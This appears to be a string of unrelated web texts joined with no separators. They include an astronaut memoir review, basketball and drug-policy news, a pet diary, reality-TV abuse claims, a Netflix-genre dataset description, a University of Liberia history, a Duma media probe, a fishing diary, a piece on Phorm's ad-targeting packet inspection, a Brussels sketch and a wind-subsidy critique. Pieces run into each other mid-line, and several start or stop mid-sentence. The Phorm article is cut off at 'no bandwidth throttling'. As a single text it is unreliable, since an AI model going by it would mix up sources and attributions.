with an ill-advised email complaining, profanely, about the federal government’s “Fed Traveler” travel system he was struggling to use. (That might earn him folk hero status among other federal employees who have used, and complained about, that system.) He stayed on the mission and performed well, but after his flight he found his opportunities for future missions limited. “I have much better choices to fly in space than you,” he recalls the chief of the astronaut office at the time, Peggy Whitson, telling him. Anderson retired from the astronaut corps in early 2013. “Back inside, relaxing over sips of Russian cognac, forever obliterating the U.S. Space Program’s assertion that there is no alcohol aboard the International Space Station, we felt good.” Anderson writes in the book’s introduction that he wanted The Ordinary Spaceman “to be free of the mundane and politically correct.” That is certainly true. There’s a bit of a scatological flavor to portions of his book, whether it’s describing in great detail how one uses the toilet in space or the enema he received prior to a proctologic medical exam. But he also frankly portrays the physical struggles he experienced adapting to gravity after five months in space, including nausea and, yes, the need to use the toilet. He also tweaks some of his fellow astronauts, like the ones who partied a little too hard on a visit to New Orleans during Mardi Gras, as well as the agency bureaucracy that he butted heads with. And, he dispels one long-standing claim about life on the ISS, as he describes activities with two Russian cosmonauts after a spacewalk. “Back inside, relaxing over sips of Russian cognac, forever obliterating the U.S. Space Program’s assertion that there is no alcohol aboard the International Space Station, we felt good.” The book ends with his departure from the astronaut corps, and his uncertainty about what would come next (which, not discussed in the book, has included teaching at his grad school alma mater, Iowa State University.) Anderson, though, is grateful for the opportunity he had to be an astronaut and realize a boyhood dream. He may have been an ordinary spaceman, but The Ordinary Spaceman demonstrates he is certainly not ordinary. HomeISTANBUL, TURKEY - MAY 18: Cedi Osman during the 2017 Euroleague Basketball ANGT Players Educational Session at Sinan Erdem Dome on May 18, 2017 in Istanbul, Turkey. (Photo by Francesco Richieri/EB via Getty Images)
Cleveland Cavaliers rookie small forward Cedi Osman looks like he’s here to stay.
According to Joe Vardon of cleveland.com, the Cleveland Cavaliers are uninterested in trading rookie small forward Cedi Osman.
“…the Cavs have 22-year-old rookie Cedi Osman whom they signed from Turkey and have said they do not wish to trade him.”
Richard Jefferson, a 37-year-old small forward and soon-to-be 17-year NBA veteran is on the last guaranteed season of his contract. Though he seems like an ageless wonder at times, a testament to his natural athleticism, he’s firmly in the twilight of his career. Small forward Jeff Green signed a one-year deal with the Cavs this summer and even if Kyle Korver were to play small forward next season (he’s been working with the forwards after practice), he’s a 36-year-old wing with whose contract isn’t guaranteed past the 2018-2019 season.
Lastly, with shooting guard Iman Shumpert’s durability and availability via trade a cause of constant speculation, Osman could be a suitable replacement for Shumpert. Shumpert, like Osman, is a versatile defender and a player who has shown the potential to make a consistent impact on offense (though Shumpert has never quite put it together).
For those that want the Cavaliers to both have youth on the roster and to begin growing their talent organically, the idea that the team wants to keep their 22-year-old forward is music to their ears. For those that believe in Osman’s potential, the Cavs are also making the right move because they’re choosing to develop a prospect that has the talent to be a rotation player on a championship-contending team.
Right now, head coach Tyronn Lue says Osman’s job is to learn and compete but that he liked what he saw from the rookie in his first game. Namely, Osman’s defense and intelligence.
Offensively, Osman likes the Cleveland Cavaliers up-and-down pace.
“Here in the NBA they play a lot of fast basketball,” he said. “Overseas it’s not like that. It’s more halfcourt plays and stuff. But here always running, fastbreak points, easy points. That’s not a problem for me. Overseas I was playing like this all the time. I’m the guy with a lot of energy and the guy who likes to run the floor all the time. I think that will not be a problem for me.”
He played at the highest pace of any Cav in the preseason opener (outside of center Kendrick Perkins) and even his nifty bucket in the post against the Atlanta Hawks was a quick and aggressive move.
Though he didn’t make a three in his first game, he’s expected to be a consistent three-point shooter for the Cavs. Osman won’t play in the Cleveland Cavaliers second preseason game, so that he can rest after playing more than expected in the preseason opener.
Osman has considered himself to be a Cav since the team selected him with the 31st overall pick in the 2015 NBA Draft. He built a strong relationship with Cleveland Cavaliers former general manager David Griffin. Though Griffin was eventually replaced by Koby Altman, the current front office regime seems invested in Osman too, having turned down multiple trade offers for Osman and signing him with their mid-level exception (MLE). Now, Osman is under contract for at least three more years and will be a restricted free agent should he choose not to accept his qualifying offer in 2020-2021.
As a restricted free agent, the Cavs have the right to match any offer he receives to keep him on the team. Compare Osman’s contract with Jefferson, Korver or Green, other wings the Cleveland Cavaliers signed this season. Or even compare it to the contract of second-year pro Kay Felder, who the Cavs spent $2.5 million to select in the second round of the 2016 NBA Draft. Felder has only a partially guaranteed salary in this season and non-guaranteed next season. It’s apparent, just from comparing and contrasting their player contracts, that the Cleveland Cavaliers value Osman’s youth and potential.
When the team moves a guaranteed contract to make room for Dwyane Wade, don’t expect Cedi to go anywhere.A drug policy document, being debated by at a United Nations conference in New York, does not go far enough, associate health minister Peter Dunne says.
Photo: RNZ / Alexander Robertson
Mr Dunne is leading the New Zealand delegation to the three day conference - The United Nations General Assembly Special Session on the World Drug Problem - in which health ministers and heads of state from around world are discussing global drug policies.
The main themes include the death penalty, new psychoactive substances, the impact of technology on how drugs are sold and distributed around the world, and the shift in international drug policy from a legal model to health-centered one.
Mr Dunne told the General Assembly governments around the world were not responding fast enough to drug problems.
"Compared to global narcotic industries, we are moving at a glacial place, hamstrung by an outdated, overly punitive approach."
During his speech, Mr Dunne stressed the importance of not just talking, but finding ways to measure the problems associated with drugs and their impact on users, communities and countries.
The document under discussion was a small step forward, he said.
"At this stage, the sense I'm picking up from delegates is 'hmm, yeah it's in the right direction, but it could have been much bolder.'"
Mr Dunne said New Zealand regretted the lack of consensus on the issue of the death penalty for drug-related offences. "The death penalty has no place in civilised society, and blocking the inclusion of references to it not only does not change this, it does a disservice to those who seek to reduce harm from drugs," he said.
Leaders will debate the declaration over the next three days, despite it being ratified this morning.
On the eve of the meeting, more than 1000 world leaders and activists signed a letter organised by the Drug Policy Alliance urging the UN to set the stage for reform.
Executive director Ethan Nadelmann told Morning Report he expected a gradual shift towards legally taxing and regulating cannabis.
The main topics up for debate are the death penalty, new psychoactive substances, the impact of technology on how drugs are sold and distributed around the world and the shift in international drug policy from a legal model to a health-centered one.
Before his speech to the UN Mr Dunne described the conference and entire process as "a bit back-to-front".
"These things are really quite strange. What happens is over the last three years, we've been building to this point," he told RNZ News. "The declaration was actually agreed at a meeting in Vienna last month and one of the first items of business this morning was to ratify the document. Having ratified it and agreed on it, we now debate it."My humans were thinking of breeding me, but after deciding that it was too big of a commitment and responsibility, they decided they wouldn't be able to breed me and I would need to be neutered.
I got dropped off at the vet first thing in the morning when they opened. Mom and dad were worried sick, but the procedure went smoothly and I was ready to go home in the early afternoon. I was very groggy when mom picked me up from the vet, but I was lucid and happy to see her. I even drank water and ate a little bit of food that same evening :) but there was lots of sleeping and petting.
I do not appreciate this darned contraption! But mommy pet me all night long and daddy fed me bits of food and treats. I also got a warm compress on my nether-regions which was very soothing.Seth Caro, the famously volatile Top Chef Just Desserts contestant who dropped out of season one back in 2010 after suffering an anxiety attack during filming, says there was more to his departure from the show than a meltdown over having to use Breyer's ice cream instead of making his own. He told the New York Post that the show's producers put him through what amounts to psychological torture:
"The first few days in, I'm thinking, 'Is this fun, or is this a cruel experiment?' " Contestants, he says, average two hours of sleep a night, are fed at the whims of production, and can't talk to each other during breaks in filming— and those breaks can last six hours.
That treatment, Caro says, eventually led to a breakdown during an episode of the show. In a scene not shown on camera, he demanded his phone and wallet—which are confiscated from contestants when they start filming—and demanded to leave.
Here's how it played out on Just Desserts:
"I was physically prevented from [leaving]," he told the Post. "This producer had three cameras shoved two feet from my face. I literally slumped down in the corner and started crying."
After being removed from the "Stew Room," Caro had a panic attack and had to be tended by EMTs. A clip of them telling him to slow down his breathing made it to air, but his conversation with the producers didn't:
"They said, 'Will you film one final challenge?' I said no. 'Will you go on camera and say your goodbyes?' 'No.' 'Will you do a final on-camera interview?' 'No — I want to go home and never be on camera again.' "
Neither did the shocking treatment he says came afterward:
After production put him in a van, Caro says, he spotted a cameraman hiding in the trees. He jumped out of the van and was tackled by show security. "They took me back to the hotel — I was never arrested — and then they took me to a mental hospital, where I was put on a 5150 [involuntary psych hold] for three days. I was in my chef's jacket and socks. I didn't have my phone. No one from the network or the show came to see me."
Caro says his life was ruined by Just Desserts, and he's been unable to find work in the industry since leaving the show. He's working on changing his name so future employers and dates can't Google the unhinged TV version of him.
It's not just Top Chef, either. The Post talked to contestants on Hell's Kitchen who also felt the producers were psychologically manipulating them to make more exciting TV.
"I didn't get my period for six weeks after I left," said Jen Yemola, who competed in Hell's Kitchen 3. "My doctor said it was stress. I became borderline suicidal after the show — certain things about it made me feel poorly about myself."
As with Caro's Top Chef experience, Yemola says Hell's Kitchen's producers limited how much the cast could eat and sleep, and provided no emotional support during an intentionally stressful competition.
She'd do it again, though, for the same reason any reality star signs up for these inhumane ordeals: "Any exposure is good exposure."Movie Genre Example
The Netflix� Prize is a competition to improve movie recommendation accuracy (Bennet & Lanning, 2007). Rules of the competition are available at http://www.netflixprize.com/index. Netflix provides a dataset containing 100 480 507 ratings by 480 189 users for 17 770 movies. Movie recommendation engines trained on these data are tested on an undisclosed data set to gauge prediction success.
To create this benchmark example, the Netflix dataset was augmented with a primary genre label for each of the 17 770 movies. Genre labels were obtained from the movie synopses on the Netflix website. The term used for such data collection is crawling. Movies are classified as belonging to one of 21 genres (Table 1).
Table 1: Primary Netflix movie genres.
Uncensored Drama NA Action & Adventure Faith & Spirituality Romance Anime & Animation Foreign Sci-Fi & Fantasy Children & Family Gay & Lesbian Special Interest Classics Horror Sports & Fitness Comedy Independent Television Documentary Music & Musicals Thrillers
The seven genres shown in italics are infrequent, accounting for only 980 of the 17 770 movies.
The Netflix dataset forms a sparse ratings matrix of size 17 770 movies x 480 189 users, with only 100 480 507 (0.01%) of the matrix elements populated by ratings. While the prize competition seeks to predict the missing ratings in this matrix, this project uses the enhanced dataset to define a different problem: predicting primary movie genres from ratings data.
Movie feature derivation
In the absence of directly interpretable features, most Netflix prediction algorithms rely on user and/or movie similarities to generate predictions. The broad class of such approaches is termed collaborative filtering. Informative features describing movies and users may be obtained indirectly by factoring the ratings matrix into a user matrix and a movie matrix, where users and movies correspond to rows and columns in the matrices resulting from decomposition. Matrix factorization minimizes the difference between the populated elements of a reconstructed matrix and the actual ratings matrix. An incremental singular value decomposition (SVD) factorization algorithm uses error minimization to produce user and movie matrices. This preprocessing technique is a minor variant of the technique introduced to the Netflix Prize competition by Funk (2006).
The incremental SVD algorithm produces a 64-dimensional feature vector for each movie. The 17 770 movie feature vectors and their genre labels constitute the genre-augmented dataset. Omitting movies with genres that appear infrequently produces a dataset with 16 840 movies, each classified as belonging to one of 14 genres (Table 2)
Table 2: Primary genres of 16 840 movies in the genre-augmented dataset.
Action & Adventure Documentary Romance Anime & Animation Drama Sci-Fi & Fantasy Children & Family Foreign Television Classics Horror Thrillers Comedy Musicals
Each of the 64 movie feature vector components was linearly scaled such to the [0,1] range. The dataset was partitioned into a training set of 14,314 movies and a test set of 2,526 movies. This dataset is available as movieGenreBenchmark.mat file here. The zipped folder contains the.mat file all well as other files required to create randomized training and test datasets.
Reference:
Carpenter, G. A. & Gaddam, C. S.(2009). Biased ART: A neural architecture that shifts attention toward previously disregarded features following an incorrect prediction. Technical Report CAS/CNS TR-2009-003, Boston, MA: Boston University.
http://cns.bu.edu/~gsc/biasedART/TR-2009-003_CarpenterGaddam_.pdf [18 MB]
Disclaimer:
This dataset is provided free of charge. As such, the authors assume no responsibility for the programs' behavior. While they have been tested and used in-house, no claim is made that the Movie Genre dataset is correct or bug-free. They are used and provided solely for research and educational purposes. No liability, financial or otherwise, is assumed regarding any application of this dataset.
Feedback:
Have questions? Found a bug? Please send comments to: gsc@cns.bu.eduThe University of Liberia (UL or LU in older versions of abbreviation) is a publicly funded institution of higher learning located in Monrovia, Liberia. Authorized by the national government in 1851, the school opened in 1863 as Liberia College and became a university in 1951. The school is one of the oldest institutions of higher learning in West Africa and is accredited by the Liberian Commission on Higher Education. Civil wars have disrupted and damaged the school over the last three decades.
The University of Liberia has six colleges, three professional schools (including a law school and medical school), and three graduate programs with a total of approximately 18,000 students at its three campuses in and around the country's capital city. UL also has five institutes for study in areas such as the Chinese language and population research. The law school is the only one in Liberia. Graduates have gone on to leadership roles in Liberian politics including former President Arthur Barclay.
History [ edit ]
In 1847, Liberia declared its independence from the American Colonization Society. In 1851 the new national legislature authorized the creation of a state college and chartered Liberia College.[1] Financing was provided by the New York Colonization Society and the Trustees of Donations for Education in Liberia, both United States organizations.[1] These two groups provided almost all of the funds for the school during the 19th century and were responsible for hiring the faculty.[1]
Liberia College in 1862
After authorization, groups from Clay Ashland and Monrovia maneuvered in political circles in an attempt to have the school in their cities, with the location eventually chosen as the capital city.[1] This political battle delayed the foundation; on 25 January 1858, the cornerstone of the first building was laid in Monrovia.[2] In January 1862 the school was inaugurated, with classes beginning in 1863.[1] The nation’s first president, Joseph Jenkins Roberts, became the school’s first president in 1862 and served in that post until 1876.[1]
Students and faculty in the 1890s
Seven men made up the first class of students, with a college preparatory division adding 18 students to the enrollment two months later.[1] In addition to American financing, colleges and individuals from the United States donated books and even the bricks and lumber used to construct the school’s building.[1] At opening, the library had an estimated 4,000 volumes.[1] Once classes opened, the curriculum was the standard courses typical at American colleges with courses such as rhetoric and Latin.[1] Part of the impetus to start the school was a concern that some Liberians were already leaving the nation to study in Great Britain, which American backers thought might lead to a move away from the republican form of government.[3]
During the 19th century, sophomores and freshmen would battle each other in an annual ritual over whether the freshmen were allowed to wear trousers.[4] From 1866 to 1902 the school had 10 graduates with long periods between the granting of degrees.[1] Under the leadership of Edward Wilmot Blyden, school president from 1881 to 1884, women were allowed to enroll in the preparatory department.[1] During the 1800s UL and country suffered from class and caste conflicts, which led to the temporary closure of Liberia College on several occasions in the 1890s.[1] R. B. Richardson was the first alumnus to become the president of the school.[1]
20th century [ edit ]
The School of Forestry at the college was founded in 1942 by Stephen A. Tolbert, who served as dean of that school until 1960.[5] Enrollment increased at the university to approximately 70 students in 1948 and to 100 in 1950.[6] In 1951, J. Max Bond, Sr. helped to convert the college into the University of Liberia.[7] Also in 1951, the Law School was established and named after former Liberia Supreme Court Chief Justice Louis Arthur Grimes.[8] In 1956, the now university had an enrollment of 259 students.[6]
Liberia College in 1893
In 1968, a medical school was added to the university.[9] Due to civil strife in the country, UL has closed on several occasions including in 1979, 1984, and 1990.[10][11] In one incident in 1984, students and the faculty of the University of Liberia protested the arrest of two faculty members by the Liberian government.[6] Liberian President Samuel K. Doe sent the Liberian Army to attack the school on 22 August 1984, leading to several deaths, more than one hundred injured, a three-month closure, and destruction of some of the facilities.[6] It did not grant any degrees from 1989 to 1996 due to the fighting from the First Liberian Civil War.[12] When UL re-opened in 1997 enrollment totaled 6,000 students,[12] though the civil war had damaged facilities at the university and led many of the faculty to leave the country.[12] The last of the strife ended with the conclusion of the Second Liberian Civil War in 2003.
21st century [ edit ]
The campus in 2009
In 2007, the American Bar Association paid for renovations to the law school.[13] In April of that year the university opened a new 200 computer digital center paid for by a private company.[14] In June 2007, the school’s president suspended classes after a faculty strike over back wages owed by the government,[15] with classes re-opened in July.[16] In February 2008, U.S. President George W. Bush visited the campus during a state visit to Liberia.[17]
China funded a USD $21.5 million expansion at the Fendall Campus that began in April 2008 and will add more than five buildings.[18] In March 2009, construction began at that campus of the new Angie Brooks International Center for Women's Research, Peace and Security, named in honor of Angie Brooks, who was the first female president of the United Nations General Assembly.[19] Emmet Dennis became the 13th president of the university that month as enrollment topped 18,000.[20] The Harvey S. Firestone Quadrangle Science Building at the main campus was renovated by Firestone Liberia and re-opened in November 2009.[21]
Academics [ edit ]
The university is the oldest degree-granting school in West Africa,[10] and is accredited by Liberia’s Commission on Higher Education.[2] Classes are taught in English with the academic year running from March through December.[2] Undergraduate students earn bachelor's degrees after four years of instruction, while the graduate programs offer master's degrees after two years of post-graduate work.[2] Doctorates in medicine are conferred after the completion of a seven-year program.[2]
As of 2009, there were 17,620 students enrolled at the university in all departments, of which 13,009 are men and 4,611 women.[22] This made the school the largest by enrollment in Liberia.[22] UL had a total of 331 faculty members at that time. The faculty was male dominated with 304 men and 27 women.[22]
The school is divided into six colleges, three graduate programs, and three professional schools.[23] Colleges at the University of Liberia include the Liberia College of Social Sciences and Humanities, the College of Business and Public Administration, the College of General Studies, and the T. J. R. Faulkner College of Science and Technology.[23] Additionally, there are the William V. S. Tubman Teachers College and the William R. Tolbert College of Agriculture and Forestry, both named after former presidents of the nation.
Louis Arthur Grimes School of Law, the only law school in Liberia, was added into the university in 1951.[24] The A. M. Dogliotti College of Medicine was opened in a partnership between Italy's A. M. Dogliotti Foundation and the government of Liberia.[25][26][27] Students of the medical school are required to give one year of service in rural areas after graduation.[6] The School of Pharmacy is the third professional school, while graduate programs include the Ibrahim B. Babangida Graduate Program in International Relations, the Graduate Program in Regional Science, and the Graduate Program in Education Administration.
In addition to the schools and departments of study, UL houses five institutes.[2] These are the Institute for Research, Institute for Population Studies, Kofi A. Annan Center for Conflict Transformation, Center for Millennium Development Goals, and the Confucius Institute.[2][28] The Confucius Institute teaches the Chinese language and culture and it is also in cooperation with the Changsha University of Science and Technology.[28]
UL is a member of the Association of African Universities.[29]
Facilities [ edit ]
Fendel Campus
The publicly funded university is divided into three campuses.[30] The main, original campus in downtown Monrovia, a medical campus, and the Fendall campus, about 14 miles northeast of Monrovia.[31] The College of Agriculture and Forestry is at the rural Fendell Campus.[32] The university provides four buses to transport students between these campuses. The main campus was originally designed by J. Max Bond, Sr., who the president of the school in the early 1950s.[33]
Radio station LUX 106.6 FM is operated by the school.[34]
Notable alumni [ edit ]
Alumni includes past and present Liberian politicians and academics. These include Liberia's Vice President Joseph Boakai[35] and former presidents Arthur Barclay and Joseph James Cheeseman.[1] Candidates for the 2005 Presidential Election included UL alums Nathaniel Barnes, Varney Sherman, Togba-Nah Tipoteh, and Joseph Woah-Tee.[36] The chairperson, Jerome Verdier,[37] and the vice-chair, Dede Dolopei,[38] of the Truth and Reconciliation Commission are alumni. Other alumni are attorney Francis Y.S. Garlawolu, Chief Justice Johnnie Lewis, politician Charles Brumskine, Foreign Minister Olubanke King Akerele, and former United States Ambassador to Liberia and founder of the Maryland Industrial and Agricultural Institute for Colored Youths, Ernest Lyon among others.
Former presidents and faculty [ edit ]The lower house of the Russian parliament has ordered a probe into whether RFE/RL’s Russian Service, Voice of America, and CNN are in compliance with Russian laws.
The move by the State Duma on March 17 comes just days after Democratic U.S. Senator Jeanne Shaheen introduced a bill that would empower the U.S. Justice Department to investigate possible violations of the Foreign Agents Registration Act by RT, the state-backed Russian TV channel.
The Russian initiative was introduced by Konstantin Zatulin, a member of President Vladimir Putin’s United Russia party, which holds an overwhelming majority in the Duma.
Approved by lawmakers on March 17, the move instructs the Duma’s committee on information policy to probe compliance with Russian laws by VOA, CNN, and RFE/RL’s Russian Service, known locally as Radio Svoboda.
Zatulin specifically linked the probe to Shaheen’s bill, which cited an assessment by U.S. intelligence that RT was used as part of a Kremlin-directed hacking and public-influence campaign aimed at helping President Donald Trump defeat his Democratic rival, Hillary Clinton, in last year’s presidential election.
RT and the Kremlin reject the accusation. RT is funded by the Russian government, but argues it is editorially independent from the Kremlin.
Both RFE/RL and VOA are overseen by the Broadcasting Board of Governors (BBG), a U.S. agency that supervises international civilian government broadcasting and media operations.
VOA is a federal entity, while RFE/RL is a private, nonprofit organization funded by a grant from the U.S. Congress.
CNN has also come under fire from Moscow over its coverage of alleged Russian meddling in the presidential election and purported ties between associates of Trump and Russian officials.
Russian Foreign Ministry spokeswoman Maria Zakharova earlier this month accused the Atlanta-based international news network, which Trump has repeatedly criticized as well, of spreading “false news.”
Shaheen told RFE/RL that it appeared her legislation had struck a nerve with the Kremlin and some Duma members.
“My bill is straightforward: RT News has made public statements boasting that it can dodge our laws with shell corporations, and this legislation gives the Department of Justice the authority it needs to fully investigate,” Shaheen said in a statement.
The Foreign Agents Registration Act is a decades-old law that requires anyone working in the United States on behalf of a foreign government, “in a political or quasi-political capacity," to register with the Justice Department.May 8, 2013 at 10:45 am
The first days of May brought warmth and the anticipation of rising fish, as I pulled on waders at my syndicate water and watched hawthorn flies dancing above the grass verge in the afternoon sunshine. The short walk to the river soon dashed my hopes of fishing the dry fly, when looking downstream, not a single rise was in evidence, despite a variety of fly life, on, or above the surface.
The river was now back to normal level and pace, unlike the opening days of the season, when weeks of rain needed to run off and I was expecting an instant response as I waded up to a pool that has been good to me in the past. The smooth surface was untroubled by feeding trout, so my reliable Gold Head Hares Ear nymph was flicked out along the edges among the roots, but not a twitch of the leader rewarded my efforts. I was considering a change to a darker nymph, when a trout swept round the shallows at my feet and returned to the centre of the stream ahead. A cast up the pool brought a solid pull halfway through the drift and I was into that trout, a plump wild brown of around a pound, fighting for all it was worth, it’s exit from the pool barred by my feet as it tried to escape downstream. I now had the trout thrashing about in the shallow tail and my landing net was resting against a tree out of reach. Stepping across to my left for the net, gave the slack needed for the hook to lose grip and the trout to dart back to the pool. With a photo opportunity missed, I continued downstream intending to fish along the bank cleared during a new year working party, but paused to look at another previously productive pool.
It seemed too good to pass and getting down into the water, I waded up, searching out the eddies and runs with my nymph as I went. The river here rushes down through trees and turns, holding fish across the pool, good dace and chub adding to the mix. Again surface fly life was being ignored and so it seemed was my nymph, until a six inch brown raised my hopes and straightened the leader. The tiddler returned, I cast further up between the trees and watched the leader skirt the edge of a far bank eddy, where it suddenly dived to the left, to be met with solid resistance as I lifted into a very powerful fish. Deep in the pool, the zig-zag rolling fight indicated a big trout rather than a chub and I gave line as it made a series of sprinting runs into the tree lined channel, then back to the pool, before zooming along the far bank to pass below me. Having turned to follow the big brown downstream, I looked up to see a fellow syndicate member watching from the river fifty yards downstream. More pressure, bad enough to lose a fish and talk of the one that got away, but to have it witnessed is worse. The gods of angling were on my side this time and the deep sided brown turned and came back upstream to me, obliging by rolling onto it’s side before sliding into the net.
A full tail was the power house for this seventeen inch brown that took no prisoners in it’s efforts to escape the barbless hook, which fell out into the net once the pressure was off. In the same respect, that it is misery to lose a good fish in front of a fellow angler, it was also a joy to show just what this little river can hold to new member George, who had a grandstand view of my struggle with this beast of a fish. After a quick photo and a short recovery session in the net, my best fish so far this year, swam off to sulk in the shallows.Deep packet inspection gear has long had the ability to peer inside users' datastreams to pull out all sorts of interesting information, but a UK company called Phorm is taking DPI to the next level by using it to sell ads. The company's ambitious goal: segment users into small and highly-accurate "channels" by reading the URLs they visit, the search terms they use, and the content of the pages they visit. The resulting channels are then sold to advertisers who are salivating at the thought of better targeting. Actual users are predictably less thrilled, however, and a row over the issue has erupted in Britain.
Phorm made its announcement on Valentine's Day. The company said that it had inked deals with the three largest ISPs in the UK: BT, Talk Talk, and Virgin Media. The ISPs will place Phorm's gear inline on their networks, where it will have access to the datastream of all users. Phorm charges advertisers for access to highly-targeted customers, and it splits this revenue with the ISP. In addition to offering the benefit of more relevant ads, the company says that its gear will also warn users if they happen to visit phishing sites. So everyone wins, in theory.
But plenty of users don't see it that way. Web sites like BadPhorm have already sprung up, encouraging users to take action by pressuring their MPs and by complaining to ISPs.
The story has gained significant traction in the UK this week, with multiple pieces in the major UK media outlets. The Register even had the chance to interview Phorm's CEO on Friday at the company's London offices, and CEO Kent Ertegrul made clear that Phorm has nothing to hide. In fact, it welcomes scrutiny and has opened its system up to inspection by groups like Privacy International. Phorm claims that its system is far better for privacy than, say, Google's AdSense, since the analysis of the datastream is done in memory and only the user's "data digest" (stripped of all identifying information) is retained.
The real story of Phorm is "how you can run an advertising service and store nothing," Ertegrul told The Register. He's also convinced that raising the value of online ads will actually lead to less advertising on the sites that use Phorm's Open Internet Exchange (OIX), since web site operators know that ads interfere with content. We'll see.
Ertegrul knows that he needs to overcome consumers' gut reactions to the idea of advertisers targeting them based on clickstream data, but Phorm isn't helped in that work by having once been an adware (not spyware, it insists) provider. Before changing its name to Phorm last year, the company was known as 121Media, and it offered adware services including PeopleOnPage, which would show you others who were browsing a web page and allow you to chat with them (while showing you ads).
Also controversial is the idea that ISPs would simply opt all of their users into the scheme. Final announcements haven't been made, but this does seem the only real way to ensure enough participation to make the whole exercise worthwhile. Fortunately, opting out is as simple as blocking Phorm's cookie, and the company promises that no bandwidth throttling |
of the people. It's the other way round. And if any lowly MEP wishes to take a commissioner to task, he or she must submit a question in writing and then wait six weeks for a reply.
It is the reason a British MEP such as Andrew Lewer has sided with Vote Leave. A former Tory leader of Derbyshire County Council, he was elected as an MEP in 2014.
'I arrived here with an entirely open mind and I'm only just on the side of Brexit,' he explains.
It was, he says, the intransigence of the EU towards David Cameron's proposals in the run-up to the referendum which tipped him over the edge. He also acknowledges that the British 'just aren't very good at being European'.
The hypocrisy in Brussels doesn't help, either.
Pro-Brexit: MEP Andrew Lewer
Any ordinary office building in Brussels would be subject to a strict smoking ban. But here at the European Parliament, I find a huge smoking room next to the main bar. No huddling outside the back door for the 20-a-day Eurocrat, if you please.
I walk down to the room where MEPs simply have to sign a register to claim an automatic £240 daily allowance (on top of their £80,000 salary). There is a pile of expenses forms by the door. A short stroll down the corridor is the in-house travel agency that makes arrangements for MEPs to travel to and from their other parliament building, 300 miles away in the French city of Strasbourg.
For the perfect illustration of EU waste, just watch this vast institution pack up and move house for four days a month. It's a travelling circus which costs £150 million a year.
Down at the MEPs' restaurant, lunch is under way (it's foie gras and lobster for starters today). Everything is subsidised — by taxpayers, naturally — in this place. Where else could you find a coffee for less than £1?
Lunch operates on traditional continental lines here — from 12.30 to 3pm, whereupon a few committees resume their discussions in vast semicircular chambers, each bigger than some national parliaments.
Half-a-dozen members of the foreign affairs committee have turned up to discuss a new report on Greece.
Like every meeting in this place, it is translated into 23 languages by a vast army of interpreters who can earn up to £800 a day. Unfortunately, the Greek interpreter hasn't made it, to the irritation of a Greek socialist MEP, who has to talk in English.
I drop in on the budgetary control committee, the internal affairs committee, the industry committee and others. They are fascinating and stultifying in equal measure. There is precious little discussion of anything. MEPs take turns to read out their prepared statements while everyone else does emails and other stuff.
With everyone hunched over their papers, there is little eye contact and even less in the way of oratory. Nor are there any screens to say who is talking. It could hardly be less user-friendly to the outsider. Which may explain why there are so many empty seats in the public gallery.
I find a handful of ordinary punters exploring the Parliamentarium, a shameless £17 million EU propaganda exercise which opened five years ago. You enter via a dark tunnel lined with photos of European misery back in the days before this blessed project took shape.
A voice on a loop recites the words of the long-forgotten British politician Lord Lothian, in 1939: 'The only final remedy for this supreme and catastrophic evil of our time is a federal union of the peoples.' There is no mention that he was an arch-appeaser who wanted a deal with Hitler.
Mighty: The Soviet-style Berlaymont building, where the European Commission is based for most of the year
We walk through an audiovisual display of all the landmarks in EU history, and into a room with a map of Europe on the floor. Place a scanner over a particular spot, and a video screen tells you how it fits into the European project. London, it explains, is home to the European Medicines Agency. Scotland, we learn, is home to Europe's North Sea Oil (I had no idea we had the EU to thank for that).
In the next room, sofas and armchairs are clustered around more screens showing video messages from grateful EU citizens. I gently nod off as I listen to Carla from Portugal telling me how the European Globalisation Adjustment Fund gave her the money for a children's petting farm.
Finally, we all leave via a photo gallery of every MEP and emerge in the gift shop, where you can pick up a pair of EU cufflinks for £10.
No British visitor could possibly walk through this place without a fit of the giggles. Yet I follow a small group from France who are nodding earnestly throughout.
As if this were not enough, a new attraction is due to open next door in a few months — a £43 million museum called the House Of European History. Teams of workers are busy adding the finishing touches to this gleaming six-storey temple to the EU dream.
According to Ukip and Eurosceptic Tory MEPs, it is a'monstrous vanity project'. According to the blurb, it will be 'a centre of excellence in which reflection on the history of European integration and its position in our daily lives will be encouraged, enabled and sustained'.By Jeff Spross
The Institute for Energy Research (IER) has a new study out arguing against tax credits for wind energy on very odd grounds.
Specifically, the study looks into the production tax credit (PTC) for wind energy, which was first passed in 1992, updated by the 2009 stimulus bill, and will probably expire at the end of this year thanks to congressional gridlock.
The study figured out the share of total federal tax revenue paid by the population of each state, and divided the amount of revenue that goes into paying out the PTC amongst the states accordingly. It then compared the amount each state pays to support the PTC with how much benefit from the PTC each state sees. Since wind power is concentrated in a few specific states, some wound up getting significantly more benefit than they paid, and some states got much less. California, for instance, lost almost $196 million more in taxes than it received in tax credits, while Texas got over $394 million more than it paid out.
Graphic credit: Institute for Energy Research
Now, IER is a conservative group, it receives some of its funding from the Koch brothers, and has a long history of pushing fossil fuel interests. At the end of the paper, IER declares that federal wind subsidies “create an unfair redistribution of wealth across state lines that enriches wind companies in select “net taker” states at the expense of taxpayers in other states,” and that “even in states that seem to accrue net ‘benefits’ from federal wind subsidies, these subsidies merely redistribute wealth from taxpayers to wind energy companies.” The American Energy Alliance—IER’s sister organization—took up the cry, promoting the study under the headline “End the Wind Welfare!” And the conservative Washington Examiner ran an ad along the same lines Monday morning.
But one funny consequence of its analysis IER doesn’t mention is that—with the exception of the southeastern states—the “net payers” on its map roughly line up with the blue states in the 2012 election. The top four net payers —California, New York, Florida, and New Jersey—all went blue, suggesting their constituencies are more inclined to support efforts like the PTC to combat global warming and to support renewable energy. Meanwhile, three of the top four net takers—Texas, Oklahoma, and North Dakota—went red, implying they oppose precisely the kind of government intervention they benefit from.
More fundamentally, however, IER’s case proves too much. Most industries are distributed in “clumps” across the country, meaning any effort to aid or support them through tax subsidies will have a similar distributional result as the PTC. The oil and gas industries, for instance, benefit from a wealth of federal tax carve-outs, but the economic activity they generate is concentrated in just a few key states.
Graphic credit: Bureau of Labor Statistics
In fact, the point is so broad it applies to any tax subsidy for any activity whatsoever. Under this logic, the home mortgage interest deduction is an unfair redistribution from people who don’t own homes to people who do; the tax exclusion for employee health benefits is an unfair redistribution from people who don’t get their insurance through their job to people who do; Sen. Mike Lee’s (R-UT) proposed tax credit for families would be an unfair redistribution from Americans who choose not to have children to Americans who do.
In other words, the study’s point is far too broad to work as an argument against the PTC specifically. It can only work as an argument against aiding any kind of choice by any business or individual through the tax code at all.
Short of that totalistic position, which virtually no one actually supports, we have to debate each tax subsidy on its individual merits. And the only way to argue against the PTC on that score is to claim burning fossil fuels doesn’t create market externalities, and/or that climate change isn’t a serious problem.
